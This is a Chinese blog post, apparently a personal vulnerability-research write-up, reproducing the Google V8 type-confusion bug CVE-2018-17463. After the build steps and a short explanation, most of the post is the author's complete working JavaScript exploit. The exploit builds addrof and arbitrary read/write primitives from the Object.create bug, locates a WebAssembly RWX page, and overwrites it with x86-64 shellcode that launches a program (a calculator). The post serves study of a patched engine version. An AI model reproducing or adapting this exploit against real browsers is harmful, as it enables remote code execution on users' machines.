美文网首页
CVE-2018-17463

CVE-2018-17463

作者: cnitlrt | 来源:发表于2021-12-18 23:51 被阅读0次
    git checkout 568979f4d891bafec875fab20f608ff9392f4f29
    gclient sync
    tools/dev/v8gen.py x64.debug
    ninja -C out.gn/x64.release d8
    

    Google V8引擎的CVE-2018-17463漏洞分析
    上面的文章分析已经很详细了,大概意思就是当一个对象使用了Object.create()函数的时候就会发生一个类型转换,当进行优化时就有可能返回非预期的值,假设此时恰好有一个键对值比如a,经过优化后变成了b,那么当我们操作a的时候实际上就是操作了b,但是系统并不认为我们操作的是b,这时就造成了类型混淆。具体参照上面的链接可以大致的理解到。
    下面这个脚本是我自己写的,运行时间比较久大概运行2-3min。具体思路就是通过类型混淆来写addrof和arb_write原语来造成任意地址读写,然后劫持wasm来运行我们的shellcode来弹calc。

    exp
    var buf = new ArrayBuffer(0x10);
    var float = new Float64Array(buf);
    var int = new Uint32Array(buf);
    function f2i(addr){
        float[0] = addr;
        let tmp = Array.from(int);
        return tmp[0] + tmp[1]*0x100000000;
    }
    function i2f(addr){
        let tmp = [];
        tmp[0] = parseInt(addr % 0x100000000);
        tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
        int.set(tmp)
        return float[0];
    }
    function hex(addr){
        return addr.toString(16);
    }
    function checkVuln(){
        function checkV(obj){
            obj.a;
            Object.create(obj);
            return obj.b;
        }
        for(let i = 0;i<10000;i++){
            let x = {a:0x1234};
            x.b = 0x2222;
            let retValue = checkV(x);
            if(retValue != 0x2222){
                console.log(i);
                return;
            }
        }
        print("[-] Not vulnerable");
    
    }
    function wasm_func() {
        var wasmImports = {
            env: {
                puts: function puts (index) {
                    print(utf8ToString(h, index));
                }
            }
        };
        var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
            96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
            116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
            131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
            109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
            128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
            65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
        let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
        let h = new Uint8Array(m.exports.memory.buffer);
        return m.exports.hello;
    }
    
    func = wasm_func();
    let key1 = 0;
    let key2 = 0;
    function getObj(){
        let xxx = {a:0x1234};
        for(let i = 0;i < 0x30;i++){
            eval(`xxx.${'p' + i} =  ${0x8888+ i};`);
        }
        return xxx;
    }
    function findKey(){
        let myobj = [];
        for(let i = 0;i<0x30;i++){
            myobj[i] = 'p' + i;
        }
        eval(`
            function getKey(obj){
                obj.a;
                this.Object.create(obj);
                ${myobj.map((b) => `let ${b} = obj.${b};`).join('\n')}
                return [${myobj.join(', ')}];
        }
        `);
        let myobj1 = [];
        for(let i = 0;i<0x30;i++){
            myobj1[i] = 0x8888 + i;
        }
        for(let i = 0;i<10000;i++){
            let tmp = getKey(getObj());
            for(let j = 0;j<tmp.length;j++){
                if(tmp[j] != myobj1[j] && tmp[j] > 0x8888){
                    console.log(j + "==" + (tmp[j] - 0x8888));
                    console.log((tmp[j]-0x8888) + "==" + (myobj1[j] - 0x8888));
                    key1 = j;
                    key2 = tmp[j] - 0x8888;
                    return;
                }
            }
        }
    
    }
    function getobjForRead(obj){
        let xxx = {a:0x1234};
        for(let i = 0;i<0x30;i++){
            if(i != key1 && i!=key2){
                eval(`xxx.${'p' + i} = {};`);
            }
            else if(i == key1){
                eval(`xxx.${'p' + key1} = {x1:1.1,x2:2.2};`);
            }
            else if(i == key2){
                eval(`xxx.${'p' + key2} = {y1:obj};`);
            }
        }
        return xxx;
    }
    let retAddress;
    function addrof(addr){
        eval(`
            function getKey(xxx){
                xxx.a;
                this.Object.create(xxx);
                return xxx.${'p' + key1}.x1;
            }
            `);
        for(let i = 0;i < 10000;i++){
            retAddress = getKey(getobjForRead(addr));
            if(retAddress != 1.1){
                console.log(i);
                return f2i(retAddress) - 0x1;    
            }
        }
    }
    function getobjForWrite(obj){
        let xxx = {a:0x1234};
        for(let i = 0;i<0x30;i++){
            if(i != key1 && i!=key2){
                eval(`xxx.${'p' + i} = {};`);
            }
            else if(i == key1){
                eval(`xxx.${'p' + key1} = {x0:{x1:2.2,x2:2.3}};`);
            }
            else if(i == key2){
                eval(`xxx.${'p' + key2} = {y1:obj};`);
            }
        }
        return xxx;
    }
    var dataBuf = new ArrayBuffer(0x200);
    var dataView = new DataView(dataBuf);
    function arb_write(addr){
        eval(`
            function getKey(xxx,value){
                xxx.a;
                this.Object.create(xxx);
                let ret = xxx.${'p' + key1}.x0.x2;
                xxx.${'p' + key1}.x0.x2 = value;
                return ret;
            }
            `);
        for(let i = 0;i < 10000;i++){
            retAddress = getKey(getobjForWrite(dataBuf),i2f(addr));
            if(retAddress != 2.3){
                console.log(i); 
                console.log("Success"); 
                console.log(hex(f2i(retAddress)));
                //%SystemBreak();
                return; 
            }
        }
    }
    function read_dataview(addr){
        arb_write(addr);
        return f2i(dataView.getFloat64(0,true));
    }
    function write_dataview(addr,payload){
        arb_write(addr);
        for(var i = 0;i < payload.length;i++){
            dataView.setUint8(i,payload[i],true);
        }
    }
    function gc() {
        for (let i = 0; i < 100; i++) {
            new ArrayBuffer(0x100000);
        }
    }
    function pwn(){
        findKey();
        gc();
        var wasmObjAddr = addrof(func);
        console.log("wasm object addr: 0x"+hex(wasmObjAddr));
        findKey();
        var sharedInfoAddr = read_dataview(wasmObjAddr+0x18) - 1;
        console.log("share info addr: 0x"+hex(sharedInfoAddr));
        var wasmExportedFunctionDataAddr = read_dataview(sharedInfoAddr+0x8) - 1;
        console.log("WasmExportedFunctionData addr: 0x"+hex(wasmExportedFunctionDataAddr));
        var instanceAddr = read_dataview(wasmExportedFunctionDataAddr+0x10) - 1;
        console.log("instance addr: 0x"+hex(instanceAddr));
        findKey();
        var rwx_addr = read_dataview(instanceAddr+0xf0);
        console.log("rwx addr: 0x"+hex(rwx_addr));
        
        var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
            96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
            105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
            72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
            72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
            184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
            94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
        findKey();
        write_dataview(rwx_addr, shellcode);
        
        func();
    }
    pwn();
    

    这个漏洞算是复现的比较久的,短板是要是给我这么一个patch文件我可能还是不太能定位到漏洞点在哪里,希望后面可以沉下心来多研究一下。

    相关文章

      网友评论

          本文标题:CVE-2018-17463

          本文链接:https://www.haomeiwen.com/subject/gnqztrtx.html